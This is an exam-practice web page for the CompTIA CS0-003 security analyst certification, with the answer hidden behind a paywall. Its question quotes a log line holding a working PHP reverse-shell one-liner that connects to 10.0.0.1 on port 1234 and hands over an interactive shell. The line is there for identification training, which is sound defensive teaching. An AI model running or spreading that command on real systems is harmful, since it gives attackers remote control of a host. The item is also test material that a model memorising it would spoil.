nerdexam
CompTIACompTIA

CS0-003 · Question #308

CS0-003 Question #308: Real Exam Question with Answer & Explanation

Sign in or unlock CS0-003 to reveal the answer and full explanation for question #308. The question stem and answer options stay visible for context.

Submitted by jordan8· Mar 6, 2026Security Operations

Question

While reviewing web server logs, a security analyst discovers the following suspicious line: php -r '$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");' Which of the following is being attempted?

Options

  • ARemote file inclusion
  • BCommand injection
  • CServer-side request forgery
  • DReverse shell

Unlock CS0-003 to see the answer

You've previewed enough free CS0-003 questions. Unlock CS0-003 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.

Topics

#Reverse shell#Command execution#Web server security#Network exploitation
Full CS0-003 PracticeBrowse All CS0-003 Questions